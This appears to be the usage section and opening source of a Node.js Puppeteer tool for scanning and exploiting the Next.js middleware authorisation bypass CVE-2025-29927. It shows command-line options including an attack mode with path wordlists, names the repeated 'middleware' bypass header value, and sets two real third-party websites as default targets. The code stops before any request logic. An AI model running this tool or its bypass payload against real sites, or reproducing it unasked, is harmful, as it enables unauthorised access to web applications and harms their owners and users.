Next.js CVE-2025-29927漏洞自动化扫描器

node index.js -u "https://example.com"

node index.js -f urls.txt

node index.js -u "https://example.com" -v

node index.js -f targets.txt -o vulnerable_sites.json

node index.js -u "https://target-site.com" -a -w paths_wordlist.txt

node index.js -u "https://example.com" -c "/usr/bin/google-chrome-stable" -t

const puppeteer = require('puppeteer');
const yargs = require('yargs');
const fs = require('fs');

const argv = yargs
  .option('u', {
    alias: 'urls',
    description: 'List of URLs separated by space or comma',
    type: 'string'
  })
  .option('f', {
    alias: 'file',
    description: 'A file with URLs, one for each line',
    type: 'string'
  })
  .option('c', {
    alias: 'chrome',
    description: 'Chromium Path',
    default: '/snap/bin/chromium',
    type: 'string'
  })
  .option('o', {
    alias: 'output',
    description: 'Output file of vulnerable sites',
    type: 'string'
  })
  .option('v', {
    alias: 'verbose',
    description: 'A small description of the process'
  })
  .option('r', {
    alias: 'redirect',
    description: 'Follow redirect (not recommended might lead to false positives)'
  })
  .option('a', {
    alias: 'attack',
    description: 'It will try to exploit the vulnerability'
  })
  .option('w', {
    alias: 'wordlist',
    description: 'A wordlist of paths'
  })
  .option('t', {
    alias: 'headless',
    description: 'If the t flag or headless flag is set, it will launch a headless puppeteer.',
  })
  .option('x', {
    alias: 'headers',
    description: 'It will try with middleware:middleware:middleware:middleware:middleware first; in case it fails. It will retry with src/middleware:src/middleware:src/middleware:src/middleware:src/middleware'
  })
  .help('help').alias('h', 'help').argv;

const WEBSITES = argv.u ? argv.u.split(/[\s,]+/).map(url => url.trim()) : argv.f ? fs.readFileSync(argv.f, 'utf8').split('\n').map(url => url.trim()).filter(Boolean) : [
  'https://www.boxeurdesrues.com', 'https://www.sportsshoes.com/',
];

const log = (message, colorCode='\x1b[0m') => {
  if (argv.v) console.log(`${colorCode}${message}\x1b[0m`);
};

const VERSIONS_PATCHED = ['15.2.3', '14.2.25', '13.5.9', '12.3.5'];